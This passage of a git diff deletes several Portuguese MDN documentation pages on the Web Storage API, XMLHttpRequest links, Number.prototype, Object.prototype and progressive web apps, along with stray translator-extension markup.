value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/conflicting/web/api/web_storage_api/index.html b/files/pt-pt/conflicting/web/api/web_storage_api/index.html
deleted file mode 100644
index 50bf4d81b4..0000000000
--- a/files/pt-pt/conflicting/web/api/web_storage_api/index.html
+++ /dev/null
@@ -1,157 +0,0 @@
----
-title: API de Armazenamento da Web
-slug: conflicting/Web/API/Web_Storage_API
-tags:
- - API
- - Armazenamento
- - Armazenamento Local
- - Armazenamento da Sessão
- - Armazenamento da Web
- - Referencia
-translation_of: Web/API/Web_Storage_API
-original_slug: Web/API/API_de_Armazenamento_da_Web
----
-<p>{{DefaultAPISidebar("Web Storage API")}}</p>
-
-<p>A <strong>API de Armazenamento da Web</strong> fornece mecanismos pelos quais os navegadores podem armazenar pares chave/valor, de uma maneira muito mais intuitiva do que utilizar cookies.</p>
-
-<h2 id="Armazenamento_da_Web_-_conceitos_e_utilização">Armazenamento da Web - conceitos e utilização</h2>
-
-<p>The two mechanisms within Web Storage are as follows:</p>
-
-<ul>
- <li><code>sessionStorage</code> maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores)</li>
- <li><code>localStorage</code> does the same thing, but persists even when the browser is closed and reopened.</li>
-</ul>
-
-<p>These mechanisms are available via the {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} properties (to be more precise, in supporting browsers the <code>Window</code> object implements the <code>WindowLocalStorage</code> and <code>WindowSessionStorage</code> objects, which the <code>localStorage</code> and <code>sessionStorage</code> properties hang off) — invoking one of these will create an instance of the {{domxref("Storage")}} object, through which data items can be set, retrieved and removed. A different Storage object is used for the <code>sessionStorage</code> and <code>localStorage</code> for each origin — they function and are controlled separately.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: From Firefox 45 onwards, when the browser crashes/restarts, the amount of data saved per origin is limited to 10MB. This has been done to avoid memory issues caused by excessive usage of web storage.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: Access to Web Storage from third-party IFrames is denied if the user has <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">disabled third-party cookies</a> (Firefox implements this behaviour from <a href="/en-US/docs/Mozilla/Firefox/Releases/43">version 43</a> onwards.)</p>
-</div>
-
-<div class="note">
-<p><strong>Nota:</strong> Web Storage is not the same as <a href="/en-US/docs/Storage" title="Storage">mozStorage</a> (Mozilla's XPCOM interfaces to SQLite) or the <a href="/en-US/docs/Session_store_API" title="Session_store_API">Session store API</a> (an <a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a> storage utility for use by extensions).</p>
-</div>
-
-<h2 id="Armazenamento_da_Web_-_Interfaces">Armazenamento da Web - Interfaces</h2>
-
-<dl>
- <dt>{{domxref("Storage")}}</dt>
- <dd>Allows you to set, retrieve and remove data for a specific domain and storage type (session or local.)</dd>
- <dt>{{domxref("Window")}}</dt>
- <dd>The Web Storage API extends the {{domxref("Window")}} object with two new properties — {{domxref("Window.sessionStorage")}} and {{domxref("Window.localStorage")}} — which provide access to the current domain's session and local {{domxref("Storage")}} objects respectively, and a {{domxref("Window.onstorage")}} event handler that fires when a storage area changes (e.g. a new item is stored.)</dd>
- <dt>{{domxref("StorageEvent")}}</dt>
- <dd>The <code title="event-storage">storage</code> event is fired on a document's <code>Window</code> object when a storage area changes.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>To illustrate some typical web storage usage, we have created a simple example, imaginatively called <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. The <a href="https://mdn.github.io/dom-examples/web-storage/">landing page</a> provides controls that can be used to customize the colour, font and decorative image. When you choose different options, the page is instantly updated; in addition your choices are stored in <code>localStorage</code>,  so that when you leave the page then load it again later on your choices are remembered.</p>
-
-<p>In addition, we have provided an <a href="https://mdn.github.io/dom-examples/web-storage/event.html">event output page</a> — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as the {{domxref("StorageEvent")}} is fired.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Armazenamento local</td>
- <td>4</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>3.5</td>
- <td>8</td>
- <td>10.50</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Armazenamento da sessão</td>
- <td>5</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>2</td>
- <td>8</td>
- <td>10.50</td>
- <td>4</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>2.1</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{ CompatUnknown }}</td>
- <td>8</td>
- <td>11</td>
- <td>iOS 3.2</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
-
-<div class="note">
-<p><strong>Nota: </strong>since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.</p>
-</div>
-
-<h2 id="Modos_Incógnito_Navegação_Privada">Modos Incógnito / Navegação Privada</h2>
-
-<p>Most modern browsers support a privacy option called 'Incognito', 'Private Browsing' or something similar that doesn't store data like history and cookies. This is fundamentally incompatible with Web Storage for obvious reasons. As such, browser vendors are experimenting with different scenarios for how to deal with this incompatibility.</p>
-
-<p>Most browsers have opted for a strategy where storage APIs are still available and seemingly fully functional, with the one big difference that all stored data is wiped after the browser is closed. For these browsers there are still different interpretations of what should be done with existing stored data (from a regular browsing session). Should it be available to read when in Private mode? Then there are some browsers, most notably Safari, that have opted for a solution where storage is available, but is empty and has a quota of 0 bytes assigned, effectively making it impossible to write data to it.</p>
-
-<p>Developers should be aware of these different implementations and take them into account when developing websites depending on Web Storage APIs. For more information please have a look at <a href="https://blog.whatwg.org/tag/localstorage">this WHATWG blog post</a> that specifically deals with this topic.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
- <li><a href="https://medium.com/@ramsunvtech/onfocus-html5-storage-apis-b45d92aa424b">HTML5 Storage API By Venkatraman</a></li>
-</ul>
diff --git a/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html b/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html
deleted file mode 100644
index 3d7db7d8ae..0000000000
--- a/files/pt-pt/conflicting/web/api/xmlhttprequest/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: XMLHttpRequest
-slug: conflicting/Web/API/XMLHttpRequest
-tags:
- - AJAX
- - AJAX:Outros_Recursos
- - Outros_Recursos
- - Todas_as_Categorias
-original_slug: XMLHttpRequest
----
-<p> </p>
-
-<h3 id="Todos_os_outros_recursos" name="Todos_os_outros_recursos">Todos os outros recursos</h3>
-
-<ul>
- <li><a class="external" href="http://www.ajaxreview.com/">AJAX Review</a></li>
- <li><a class="external" href="http://www.maxkiesler.com/index.php/mhub/">mHub : Ajax and rails examples &amp; how-to's</a></li>
- <li><a class="external" href="http://www.maxkiesler.com/">AJAX Blog at maxkiesler.com</a></li>
- <li><a class="external" href="http://ajaxblog.com/">AJAX Blog</a></li>
- <li><a class="external" href="http://www.ajaxian.com/">Ajaxian Blog</a></li>
- <li><a class="external" href="http://www.fiftyfoureleven.com/resources/programming/xmlhttprequest">AJAX Blog at fiftyfoureleven.com</a></li>
- <li><a class="external" href="http://www.ajaxmatters.com/">AJAX Matters</a></li>
- <li><a class="external" href="http://www.ajaxpatterns.org/Main_Page">AJAX Patterns</a></li>
-</ul>
diff --git a/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html b/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html
deleted file mode 100644
index e00342daeb..0000000000
--- a/files/pt-pt/conflicting/web/javascript/reference/global_objects/number/index.html
+++ /dev/null
@@ -1,132 +0,0 @@
----
-title: Number.prototype
-slug: conflicting/Web/JavaScript/Reference/Global_Objects/Number
-tags:
- - JavaScript
- - Number
- - Property
- - Prototype
-translation_of: Web/JavaScript/Reference/Global_Objects/Number
-translation_of_original: Web/JavaScript/Reference/Global_Objects/Number/prototype
-original_slug: Web/JavaScript/Reference/Global_Objects/Number/prototype
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <strong><code>Number.prototype</code></strong> representa o protótipo (prototype) para o constructor de {{jsxref("Number")}}.</p>
-
-<div>{{js_property_attributes(0, 0, 0)}}</div>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Todas as instâncias de {{jsxref("Number")}} herdam de <code>Number.prototype</code>. O objecto protótipo (prototype) do constructor de {{jsxref("Number")}} pode ser modificado para afectar todas as instâncias de {{jsxref( "Number")}}.</p>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt><code>Number.prototype.constructor</code></dt>
- <dd>Retorna a função criadora das instâncias deste objecto. Por predifinição este é o objecto {{jsxref("Number")}}.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{jsxref("Number.prototype.toExponential()")}}</dt>
- <dd>Retorna uma representação em string do número em notação científica.</dd>
- <dt>{{jsxref("Number.prototype.toFixed()")}}</dt>
- <dd>Retorna uma representação em string do número em notação de ponto fixo.</dd>
- <dt>{{jsxref("Number.prototype.toLocaleString()")}}</dt>
- <dd>Retorna uma string do número numa representação sensível à linguagem. Faz override do método {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
- <dt>{{jsxref("Number.prototype.toPrecision()")}}</dt>
- <dd>Retorna uma representação em string do número numa precisão especificada em ponto fixo ou notação científica.</dd>
- <dt>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}}</dt>
- <dd>Retorna um objecto literal representando o objecto {{jsxref("Number")}} especificado; podes usar este valor para criar um novo objecto. Faz override ao método {{jsxref("Object.prototype.toSource()")}}.</dd>
- <dt>{{jsxref("Number.prototype.toString()")}}</dt>
- <dd>Retorna uma representação em string do objecto especificado na base especificada. Faz override ao método {{jsxref("Object.prototype.toString()")}}.</dd>
- <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
- <dd>Retorna o valor primitivo do objecto especificado. Faz override ao método {{jsxref("Object.prototype.valueOf()")}}.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição Inicial. Implementado em  JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Number")}}</li>
-</ul>
diff --git a/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html b/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html
deleted file mode 100644
index ab52d5bfc3..0000000000
--- a/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html
+++ /dev/null
@@ -1,200 +0,0 @@
----
-title: Object.prototype
-slug: conflicting/Web/JavaScript/Reference/Global_Objects/Object
-tags:
- - JavaScript
- - Object
- - Objeto
- - Propriedade
-translation_of: Web/JavaScript/Reference/Global_Objects/Object
-translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype
-original_slug: Web/JavaScript/Reference/Global_Objects/Object/prototype
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <code><strong>Object.prototype</strong></code> representa o <em>prototype object</em> {{jsxref("Object","Objeto")}} .</p>
-
-<div>{{js_property_attributes(0, 0, 0)}}</div>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Nearly all objects in JavaScript are instances of {{jsxref("Object")}}; a typical object inherits properties (including methods) from <code>Object.prototype</code>, although these properties may be shadowed (a.k.a. overridden). However, an <code>Object</code> may be deliberately created for which this is not true (e.g. by {{jsxref("Object.create", "Object.create(null)")}}), or it may be altered so that this is no longer true (e.g. with {{jsxref("Object.setPrototypeOf")}}).</p>
-
-<p>Changes to the <code>Object</code> prototype object are seen by <strong>all</strong> objects through prototype chaining, unless the properties and methods subject to those changes are overridden further along the prototype chain.  This provides a very powerful although potentially dangerous mechanism to override or extend object behavior.</p>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt>{{jsxref("Object.prototype.constructor")}}</dt>
- <dd>Specifies the function that creates an object's prototype.</dd>
- <dt>{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}</dt>
- <dd>Points to the object which was used as prototype when the object was instantiated.</dd>
- <dt>{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}</dt>
- <dd>Allows a function to be defined that will be executed when an undefined object member is called as a method.</dd>
- <dt><s class="obsoleteElement">{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}</s></dt>
- <dd><s class="obsoleteElement">Used to return the number of enumerable properties directly on a user-defined object, but has been removed.</s></dd>
- <dt><s class="obsoleteElement">{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}</s></dt>
- <dd><s class="obsoleteElement">Used to point to an object's context, but has been removed.</s></dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
- <dd>Associates a function with a property that, when accessed, executes that function and returns its return value.</dd>
- <dt>{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
- <dd>Associates a function with a property that, when set, executes that function which modifies the property.</dd>
- <dt>{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
- <dd>Returns the function associated with the specified property by the {{jsxref("Object.prototype.__defineGetter__()", "__defineGetter__()")}} method.</dd>
- <dt>{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
- <dd>Returns the function associated with the specified property by the {{jsxref("Object.prototype.__defineSetter__()", "__defineSetter__()")}} method.</dd>
- <dt>{{jsxref("Object.prototype.hasOwnProperty()")}}</dt>
- <dd>Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.</dd>
- <dt>{{jsxref("Object.prototype.isPrototypeOf()")}}</dt>
- <dd>Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.</dd>
- <dt>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</dt>
- <dd>Returns a boolean indicating if the internal <a href="/en-US/docs/Web/JavaScript/Data_structures#Properties">ECMAScript [[Enumerable]] attribute</a> is set.</dd>
- <dt>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</dt>
- <dd>Returns string containing the source of an object literal representing the object that this method is called upon; you can use this value to create a new object.</dd>
- <dt>{{jsxref("Object.prototype.toLocaleString()")}}</dt>
- <dd>Calls {{jsxref("Object.toString", "toString()")}}.</dd>
- <dt>{{jsxref("Object.prototype.toString()")}}</dt>
- <dd>Returns a string representation of the object.</dd>
- <dt>{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}</dt>
- <dd>Removes a watchpoint from a property of the object.</dd>
- <dt>{{jsxref("Object.prototype.valueOf()")}}</dt>
- <dd>Returns the primitive value of the specified object.</dd>
- <dt>{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}</dt>
- <dd>Adds a watchpoint to a property of the object.</dd>
- <dt><s class="obsoleteElement">{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}</s></dt>
- <dd><s class="obsoleteElement">Used to evaluate a string of JavaScript code in the context of the specified object, but has been removed.</s></dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>When altering the behavior of existing Object.prototype methods, consider injecting code by wrapping your extension before or after the existing logic.  For example, this (untested) code will pre-conditionally execute custom logic before the built-in logic or someone else's extension is executed.</p>
-
-<p>When a function is called, the arguments to the call are held in the array-like "variable" <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>. For example, in the call "myFn(a, b, c)", the arguments within myFn's body will contain 3 array-like elements corresponding to (a, b, c).  When modifying prototypes with hooks, simply pass this &amp; the arguments (the call state) to the current behavior by calling apply() on the function.  This pattern can be used for any prototype, such as Node.prototype, Function.prototype, etc.</p>
-
-<pre class="brush: js">var current = Object.prototype.valueOf;
-
-// Since my property "-prop-value" is cross-cutting and isn't always
-// on the same prototype chain, I want to modify Object.prototype:
-Object.prototype.valueOf = function() {
- if (this.hasOwnProperty('-prop-value')) {
-  return this['-prop-value'];
-  } else {
-  // It doesn't look like one of my objects, so let's fall back on
-  // the default behavior by reproducing the current behavior as best we can.
-  // The apply behaves like "super" in some other languages.
-  // Even though valueOf() doesn't take arguments, some other hook may.
-  return current.apply(this, arguments);
-  }
-}
-</pre>
-
-<p>Since JavaScript doesn't exactly have sub-class objects, prototype is a useful workaround to make a “base class” object of certain functions that act as objects. For example:</p>
-
-<pre class="brush: js">var Person = function(name) {
- this.name = name;
- this.canTalk = true;
-};
-
-Person.prototype.greet = function() {
- if (this.canTalk) {
- console.log('Hi, I am ' + this.name);
- }
-};
-
-var Employee = function(name, title) {
- Person.call(this, name);
- this.title = title;
-};
-
-Employee.prototype = Object.create(Person.prototype);
-
-Employee.prototype.greet = function() {
- if (this.canTalk) {
- console.log('Hi, I am ' + this.name + ', the ' + this.title);
- }
-};
-
-var Customer = function(name) {
- Person.call(this, name);
-};
-
-Customer.prototype = Object.create(Person.prototype);
-
-var Mime = function(name) {
- Person.call(this, name);
- this.canTalk = false;
-};
-
-Mime.prototype = Object.create(Person.prototype);
-
-var bob = new Employee('Bob', 'Builder');
-var joe = new Customer('Joe');
-var rg = new Employee('Red Green', 'Handyman');
-var mike = new Customer('Mike');
-var mime = new Mime('Mime');
-
-bob.greet();
-// Hi, I am Bob, the Builder
-
-joe.greet();
-// Hi, I am Joe
-
-rg.greet();
-// Hi, I am Red Green, the Handyman
-
-mike.greet();
-// Hi, I am Mike
-
-mime.greet();
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.0.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>
-
-
-<p>{{Compat("javascript.builtins.Object.prototype")}}</p>
-</div>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/JavaScript/Objects">Introdução ao JavaScript Orientado a Objetos</a></li>
-</ul>
diff --git a/files/pt-pt/conflicting/web/progressive_web_apps/index.html b/files/pt-pt/conflicting/web/progressive_web_apps/index.html
deleted file mode 100644
index bb2c9e7287..0000000000
--- a/files/pt-pt/conflicting/web/progressive_web_apps/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: Identificável
-slug: conflicting/Web/Progressive_web_apps
-tags:
- - Aplicações
- - Aplicações da Web modernas
- - Aplicações da Web progressivas
- - Manifesto
- - identificável
- - manifesto da Web
-translation_of: Web/Progressive_web_apps
-translation_of_original: Web/Progressive_web_apps/Discoverable
-original_slug: Web/Progressive_web_apps/Identificavel
----
-<div class="column-container summary">
-<div class="column-11">As soon as you publish a new web app, you want the world to know about it. Search engines do ok, but often more control is desired over how your apps are exposed in search results. The new W3C Manifest for a web application can help with this, along with other available features.</div>
-
-<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12654/discoverable.svg" style="height: 43px; width: 34px;"></div>
-</div>
-
-<p>Objetivos eventuais para as aplicações da Web :</p>
-
-<ul>
- <li>To have better representation in search engines</li>
- <li>To be easier to expose, catalog and rank</li>
- <li>To have metadata useable by browsers to give them special capabilities</li>
-</ul>
-
-<h2 id="Guias_principais">Guias principais</h2>
-
-<p>None written as yet; contributions appreciated.</p>
-
-<h2 id="Tecnologias">Tecnologias</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Tecnologia</th>
- <th scope="col">Descrição</th>
- <th scope="col">Resumo de suporte</th>
- <th scope="col">Especificações mais recentes</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><a href="/en-US/docs/Web/Manifest">Web app manifest</a></td>
- <td>Defines features of an app such as name, icon, splash screen, and theme colors, for use in contexts such as app listings and device home screens.</td>
- <td>Experimental, Supported in Chrome, limited support in Firefox (<a href="/en-US/docs/Web/Manifest#Browser_compatibility">more detail</a>)</td>
- <td>{{SpecName('Manifest')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ferramentas">Ferramentas</h2>
-
-<p>Add links to useful tools/libraries.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<dl>
- <dt><a href="http://ogp.me/">Open Graph</a></dt>
- <dd>A <em>defacto</em> standard providing a format for specifying similar metadata in the HTML <code>&lt;head&gt;</code> using meta tags. Supported by Facebook and other properties.</dd>
-</dl>
diff --git a/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html
deleted file mode 100644
index d1ad7e7139..0000000000
--- a/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html
+++ /dev/null
@@ -1,158 +0,0 @@
----
-title: Desenho responsivo
-slug: >-
- conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
-tags:
- - Aplicações
- - Aplicações da Web progressivas
- - Desenvolvimento da Web
- - Responsivo
-translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
-translation_of_original: Web/Progressive_web_apps/Responsive
-original_slug: Web/Progressive_web_apps/Responsivo
----
-<div class="column-container summary">
-<div class="column-11"><span class="seoSummary">As aplicações da <em>Web</em> responsivas utilizam tecnologias, tais como consultas de multimédia e <em>viewport</em> para se certificar que as suas <em>UIs</em> irão enquadrar qualquer fator de forma: pc, telemóvel, tablet, ou que quer que venha a seguir.</span></div>
-
-<div class="column-1"><img alt="" src="https://mdn.mozillademos.org/files/12650/responsive.svg"></div>
-</div>
-
-<h2 id="Guias_núcleo">Guias núcleo</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a></dt>
- <dd>Learn the basics of responsive design, an essential topic for modern app layout.</dd>
- <dt><a href="/en-US/docs/Web/Apps/Modern/Responsive/Mobile_first">Mobile first</a></dt>
- <dd>Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.</dd>
-</dl>
-
-<h2 id="Tecnologias">Tecnologias</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Tecnologia</th>
- <th scope="col">Descrição</th>
- <th scope="col">Resumo de suporte</th>
- <th scope="col">Últimas especificações</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><a href="/en-US/docs/Web/CSS/Media_Queries">Media queries</a></td>
